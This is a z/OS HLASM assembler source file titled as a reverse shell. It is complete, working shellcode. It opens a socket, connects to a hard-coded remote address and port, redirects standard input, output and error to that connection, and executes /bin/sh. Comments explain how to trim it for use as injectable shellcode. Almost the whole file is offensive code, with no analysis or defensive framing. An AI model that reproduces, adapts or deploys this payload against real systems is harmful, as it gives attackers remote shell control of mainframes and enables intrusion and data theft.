175 lines
8.5 KiB
ArmAsm
175 lines
8.5 KiB
ArmAsm
TITLE 'z/os Reverse Shell'
|
|
NEWREV CSECT
|
|
NEWREV AMODE 31
|
|
NEWREV RMODE 31
|
|
***********************************************************************
|
|
* SETUP registers and save areas *
|
|
***********************************************************************
|
|
MAIN LR 7,15 # R7 is base register
|
|
NILH 7,X'1FFF' # ensure local address
|
|
USING MAIN,0 # R8 for addressability
|
|
DS 0H # halfword boundaries
|
|
LA 1,ZEROES(7) # address byond which should be all 0s
|
|
XC 0(204,1),0(1) # clear zero area
|
|
LA 13,SAVEAREA(7) # address of save area
|
|
LHI 8,8 # R8 has static 8
|
|
LHI 9,1 # R9 has static 1
|
|
LHI 10,2 # R10 has static 2
|
|
|
|
***********************************************************************
|
|
* BPX1SOC set up socket *
|
|
***********************************************************************
|
|
BSOC LA 0,@@F1(7) # USS callable svcs socket
|
|
LA 3,8 # n parms
|
|
LA 5,DOM(7) # Relative addr of First parm
|
|
ST 10,DOM(7) # store a 2 for AF_INET
|
|
ST 9,TYPE(7) # store a 1 for sock_stream
|
|
ST 9,DIM(7) # store a 1 for dim_sock
|
|
LA 15,CLORUN(7) # address of generic load & run
|
|
BASR 14,15 # Branch to load & run
|
|
|
|
***********************************************************************
|
|
* BPX1CON (connect) connect to rmt host *
|
|
***********************************************************************
|
|
BCON L 5,CLIFD(7) # address of client file descriptor
|
|
ST 5,CLIFD2(7) # store for connection call
|
|
*** main processing **
|
|
LA 1,SSTR(7) # packed socket string
|
|
LA 5,CLIFD2(7) # dest for our sock str
|
|
MVC 7(9,5),0(1) # mv packed skt str to parm array
|
|
LA 0,@@F2(7) # USS callable svcs connect
|
|
LA 3,6 # n parms for func call
|
|
LA 5,CLIFD2(7) # src parm list addr
|
|
LA 15,CLORUN(7) # address of generic load & run
|
|
BASR 14,15 # Branch to load & run
|
|
|
|
*************************************************
|
|
* Preparte the child pid we'll spawn *
|
|
* 0) Dupe all 3 file desc of CLIFD *
|
|
* 1) dupe parent read fd to std input *
|
|
*************************************************
|
|
LHI 11,2 # Loop Counter R11=2
|
|
@LOOP1 BRC 15,LFCNTL # call FCNTL for each FD(in,out,err)
|
|
@RET1 AHI 11,-1 # Decrement R11
|
|
CIJ 11,-1,7,@LOOP1 # if R11 >= 0, loop
|
|
|
|
***********************************************************************
|
|
* BPX1EXC (exec) execute /bin/sh *
|
|
***********************************************************************
|
|
LEXEC LA 1,EXCPRM1(7) # top of arg list
|
|
******************************************
|
|
**** load array of addr and constants ***
|
|
******************************************
|
|
ST 10,EXARG1L(7) # arg 1 len is 2
|
|
LA 2,EXARG1L(7) # addr of len of arg1
|
|
ST 2,16(0,1) # arg4 Addr of Arg Len Addrs
|
|
LA 2,EXARG1(7) # addr of arg1
|
|
ST 2,20(0,1) # arg5 Addr of Arg Addrs
|
|
ST 9,EXARGC(7) # store 1 in ARG Count
|
|
**************************************************************
|
|
*** call the exec function the normal way ********************
|
|
**************************************************************
|
|
LA 0,@@EX1(7) # USS callable svcs EXEC
|
|
LA 3,13 # n parms
|
|
LA 5,EXCPRM1(7) # src parm list addr
|
|
LA 15,CLORUN(7) # address of generic load & run
|
|
BASR 14,15 # Branch to load & run
|
|
|
|
***********************************************************************
|
|
*** BPX1FCT (fnctl) Edit our file descriptor **************************
|
|
***********************************************************************
|
|
LFCNTL LA 0,@@FC1(7) # USS callable svcs FNCTL
|
|
ST 8,@ACT(7) # 8 is our dupe2 action
|
|
L 5,CLIFD(7) # client file descriptor
|
|
ST 5,@FFD(7) # store as fnctl argument
|
|
ST 11,@ARG(7) # fd to clone
|
|
LA 3,6 # n parms
|
|
LA 5,@FFD(7) # src parm list addr
|
|
LA 15,CLORUN(7) # address of generic load & run
|
|
BASR 14,15 # Branch to load & run
|
|
BRC 15,@RET1 # Return to caller
|
|
|
|
***********************************************************************
|
|
* LOAD and run R0=func name, R3=n parms *
|
|
* R5 = src parm list *
|
|
***********************************************************************
|
|
CLORUN ST 14,8(,13) # store ret address
|
|
XR 1,1 # zero R1
|
|
SVC 8 # get func call addr for R0
|
|
ST 0,12(13) # Store returned addr in our SA
|
|
L 15,12(13) # Load func addr into R15
|
|
LHI 6,20 # offset from SA of first parm
|
|
LA 1,0(6,13) # start of dest parm list
|
|
@LOOP2 ST 5,0(6,13) # store parms address in parm
|
|
AHI 3,-1 # decrement # parm
|
|
CIJ 3,11,8,@FIX # haky fix for EXEC func
|
|
@RETX AHI 6,4 # increment dest parm addr
|
|
AHI 5,4 # increment src parm addr
|
|
CIJ 3,0,7,@LOOP2 # loop until R3 = 0
|
|
LA 5,0(6,13)
|
|
AHI 5,-4
|
|
OI 0(5),X'80' # last parm first bit high
|
|
@FIN1 BALR 14,15 # call function
|
|
L 14,8(,13) # set up return address
|
|
BCR 15,14 # return to caller
|
|
@FIX AHI 5,4 # need extra byte skipped for exec
|
|
BRC 15,@RETX
|
|
|
|
***********************************************************************
|
|
* Arg Arrays, Constants and Save Area *
|
|
***********************************************************************
|
|
DS 0F
|
|
*************************
|
|
**** Func Names ****
|
|
*************************
|
|
@@F1 DC CL8'BPX1SOC '
|
|
@@F2 DC CL8'BPX1CON '
|
|
@@EX1 DC CL8'BPX1EXC ' # callable svcs name
|
|
@@FC1 DC CL8'BPX1FCT '
|
|
* # BPX1EXC Constants
|
|
EXARG1 DC CL2'sh' # arg 1 to exec
|
|
* # BPX1CON Constants
|
|
SSTR DC X'1002023039ac103d0a'
|
|
* # BPX1EXC Arguments
|
|
EXCPRM1 DS 0F # actual parm list of exec call
|
|
EXCMDL DC F'7' # len of cmd to exec
|
|
EXCMD DC CL7'/bin/sh' # command to exec
|
|
*********************************************************************
|
|
******* Below this line is filled in runtime, but at compile ********
|
|
******* is all zeroes, so it can be dropped from the shell- *********
|
|
******* code as it will be dynamically added back and the ***********
|
|
******* offsets are already calulated in the code *******************
|
|
*********************************************************************
|
|
ZEROES DS 0F # 51 4 byte slots
|
|
EXARGC DC F'0' # num of arguments
|
|
EXARGS DC 10XL4'00000000' # reminaing exec args
|
|
EXARG1L DC F'0' # arg1 length
|
|
* # BPX1FCT Arguments
|
|
@FFD DC F'0' # file descriptor
|
|
@ACT DC F'0' # fnctl action
|
|
@ARG DC F'0' # argument to fnctl
|
|
@RETFD DC F'0' # fd return
|
|
FR1 DC F'0' # rtn code
|
|
FR2 DC F'0' # rsn code
|
|
* # BPX1SOC Arguments
|
|
DOM DC F'0' # AF_INET = 2
|
|
TYPE DC F'0' # sock stream = 1
|
|
PROTO DC F'0' # protocol ip = 0
|
|
DIM DC F'0' # dim_sock = 1
|
|
CLIFD DC F'0' # client file descriptor
|
|
SR1 DC F'0' # rtn val
|
|
SR2 DC F'0' # rtn code
|
|
SR3 DC F'0' # rsn code
|
|
* # BPX1CON Arguments
|
|
CLIFD2 DC F'0' # CLIFD
|
|
SOCKLEN DC F'0' # length of Sock Struct
|
|
SRVSKT DC XL2'0000' # srv socket struct
|
|
DC XL2'0000' # port
|
|
DC XL4'00000000' # RHOST 0.0.0.0
|
|
CR1 DC F'0' # rtn val
|
|
CR2 DC F'0' # rtn code
|
|
CR3 DC F'0' # rsn code
|
|
SAVEAREA DC 18XL4'00000000' # save area for pgm mgmt
|
|
EOFMARK DC X'deadbeef' # eopgm marker for shellcode
|
|
END MAIN
|